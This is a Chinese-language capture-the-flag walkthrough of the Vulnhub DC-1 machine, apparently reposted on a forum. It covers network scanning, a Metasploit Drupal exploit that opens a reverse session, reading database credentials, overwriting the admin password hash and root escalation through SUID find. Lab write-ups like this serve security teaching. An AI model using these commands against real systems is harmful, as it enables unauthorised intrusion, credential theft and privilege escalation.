搜索

[27234] 2021-04-21_【Vulnhub靶机系列】DC1

文档创建者：s7ckTeam
浏览次数：1
最后更新：2025-01-19
2021-04-21_【Vulnhub靶机系列】DC1 【 V u l n h u b 靶 机 系 列 】 D C 1 原 创   徐 哥   M s 0 8 0 6 7 安 全 实 验 室   2 0 2 1 - 0 4 - 2 1 收 录 于 话 题   # 靶 机   , 5 个 点 击 标 题 下 「 蓝 色 微 信 名 」 可 快 速 关 注 文 章 来 源 ｜ 文 章 来 源 ｜ M S 0 8 0 6 7   安 全 实 验 室 安 全 实 验 室 本 文 作 者 ： 大 方 子 大 方 子 （ M s 0 8 0 6 7 实 验 室 核 心 成 员 ） 基 本 信 息 基 本 信 息 K a l i ： 1 9 2 . 1 6 8 . 5 6 . 1 1 6 D C 1 ： 1 9 2 . 1 6 8 . 5 6 . 1 1 5 实 验 过 程 实 验 过 程 现 在 K a l i 中 使 用 a r p - s c a n 进 行 主 机 探 活 逐 个 排 查 发 现 D C 1 的 I P 地 址 为 1 9 2 . 1 6 8 . 5 6 . 1 1 5 然 后 使 用 n m a p 对 主 机 进 行 探 测 主 机 分 开 开 了 ： 2 2 ， 8 0 ， 1 1 1 端 口 我 们 先 从 8 0 端 口 入 手 s u d o   a r p ‐ s c a n   ‐ ‐ i n t e r f a c e = e t h 1   1 9 2 . 1 6 8 . 5 6 . 0 / 2 4 n m a p   ‐ s C   ‐ s V   ‐ A   ‐ o A   v u l n h u b / D C 1 / D C 1   1 9 2 . 1 6 8 . 5 6 . 1 1 5
可 以 发 现 网 站 是 D r u p a l   c m s 管 理 系 统 我 们 启 动 m s f ， 搜 索 下 D r u p a l 可 用 的 E X P 这 里 我 们 选 用 e x p l o i t / u n i x / w e b a p p / d r u p a l _ d r u p a l g e d d o n 2 因 为 他 是 最 新 的 ， 而 且 品 质 为 e x c e l l e n t 这 样 我 们 就 可 以 成 功 得 到 一 个 会 话 m s f   >   s e a r c h   D r u p a l m s f 6   >   u s e   e x p l o i t / u n i x / w e b a p p / d r u p a l _ c o d e r _ e x e c m s f 6   e x p l o i t ( u n i x / w e b a p p / d r u p a l _ c o d e r _ e x e c )   >   s h o w   o p t i o n s m s f 6   e x p l o i t ( u n i x / w e b a p p / d r u p a l _ c o d e r _ e x e c )   >   s e t   R H O S T S   1 9 2 . 1 6 8 . 5 6 . 1 1 5 m s f 6   e x p l o i t ( u n i x / w e b a p p / d r u p a l _ c o d e r _ e x e c )   >   s e t   L H O S T   1 9 2 . 1 6 8 . 5 6 . 1 1 6 m s f 6   e x p l o i t ( u n i x / w e b a p p / d r u p a l _ c o d e r _ e x e c )   >   r u n
我 们 用 会 话 返 回 一 个 s h e l l 发 现 f l a g 1 . t x t 查 看 下 f l a g 1 . t x t 内 容 给 我 们 一 个 提 示   E v e r y   g o o d   C M S   n e e d s   a   c o n f i g   f i l e   -   a n d   s o   d o   y o u . 百 度 d r u p a l 配 置 文 件 的 位 置 s i t e s / d e f a u l t / f i l e s
里 面 可 以 看 到 数 据 库 的 账 号 密 码 ， 同 时 我 们 还 可 以 看 到 f l a g 2 的 内 容 说 ： 爆 破 不 是 唯 一 获 得 访 问 权 限 方 法 那 么 我 们 用 获 得 数 据 库 的 账 号 密 码 登 录 下 数 据 看 看 这 里 需 要 注 意 的 是 ， 我 们 需 要 用 p y t h o n 转 换 成 标 准 的 s h e l l 否 则 就 会 出 现 下 面 的 场 景 , 进 入 m y s q l 之 后 s h e l l 就 没 有 反 应 ' d a t a b a s e '   = >   ' d r u p a l d b ' , ' u s e r n a m e '   = >   ' d b u s e r ' , ' p a s s w o r d '   = >   ' R 0 c k 3 t ' ,
我 们 输 入 p y t h o n   ‐ c   " i m p o r t   p t y ; p t y . s p a w n ( ' / b i n / b a s h ' ) " m y s q l >   s h o w   d a t a b a s e s ; m y s q l >   u s e   d r u p a l d b ; m y s q l >   s h o w   t a b l e s ; m y s q l >   s e l e c t   *   f r o m   u s e r s ; m y s q l >   s e l e c t   n a m e , p a s s   f r o m   u s e r s ;
这 里 的 密 码 是 经 过 d r u p a l 加 密 在 s c r i p t s 的 文 件 夹 中 有 用 来 算 密 码 的 脚 本 ， 但 是 因 为 靶 机 的 环 境 原 因 会 报 错 网 上 找 了 下 ， 直 接 用 别 人 算 好 的 h a s h 进 行 替 换 明 文 ： p a s s w o r d 密 文 ： $ S $ C D b d w Z v j H Q 0 9 I V R s 8 8 G 0 f n a x P r 5 0 / k b 8 1 Y I 9 . 8 M / D 9 o k W 7 J / s 5 U 4
接 下 来 我 们 把 管 理 员 的 密 码 重 置 下 然 后 进 行 登 录 然 后 发 现 f l a g 3 m y s q l >   u p d a t e   u s e r s   s e t   p a s s = ' $ S $ C D b d w Z v j H Q 0 9 I V R s 8 8 G 0 f n a x P r 5 0 / k b 8 1 Y I 9 . 8 M / D 9 o k W 7 J / s 5 U 4 ' w h e r e   n a m e = ' a d m i n ' ;
从 f l a g 3 的 内 容 可 以 看 出 ， 提 示 我 们 需 要 用 f i n d 提 权 同 时 我 们 也 可 以 在 家 目 录 中 找 到 f l a g 4 我 们 使 用 f i n d 找 下 具 有 r o o t 权 限 的 s u i d C a n   y o u   u s e   t h i s   s a m e   m e t h o d   t o   f i n d   o r   a c c e s s   t h e   f l a g   i n   r o o t ? P r o b a b l y .   B u t   p e r h a p s   i t ' s   n o t   t h a t   e a s y .   O r   m a y b e   i t   i s ? #   ‐ p e r m   按 照 文 件 权 限 来 查 找 文 件 #   ‐ u = w   基 于 用 户 可 写 查 找 #   ‐ t y p e   f   查 找 普 通 类 型 文 件 f i n d   /   ‐ p e r m   ‐ u = s   ‐ t y p e   f   2 > / d e v / n u l l
可 以 看 到 f i n d 是 可 以 用 来 提 权 的 我 们 尝 试 用 f i n d 执 行 命 令 那 么 我 们 接 下 来 用 f i n d 提 权 #   这 里 需 要 注 意 ‐ n a m e 参 数 填 写 的 文 件 名 ， 是 需 要 系 统 真 实 存 在 的 w w w ‐ d a t a @ D C ‐ 1 : / h o m e / f l a g 4 $   f i n d   /   ‐ n a m e   f l a g 4   ‐ e x e c   " w h o a m i "   ; w w w ‐ d a t a @ D C ‐ 1 : / h o m e / f l a g 4 $   f i n d   /   ‐ n a m e   f l a g 4   ‐ e x e c   " / b i n / s h "   ;
这 样 我 们 就 拿 到 最 终 的 f l a g 额 外 内 容 额 外 内 容 使 用 使 用 C V E 2 0 1 4 - 3 7 0 4 添 加 管 理 账 号 添 加 管 理 账 号 在 e x p l o i t - d b 中 有 可 以 直 接 利 用 的 E X P ， 可 以 直 接 添 加 管 理 账 号 地 址 ： h t t p s : / / w w w . e x p l o i t - d b . c o m / e x p l o i t s / 3 4 9 9 2   我 们 在 K a l i 上 开 启 H T T P 服 务 ， 让 靶 机 从 K a l i 上 下 载 E X P
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理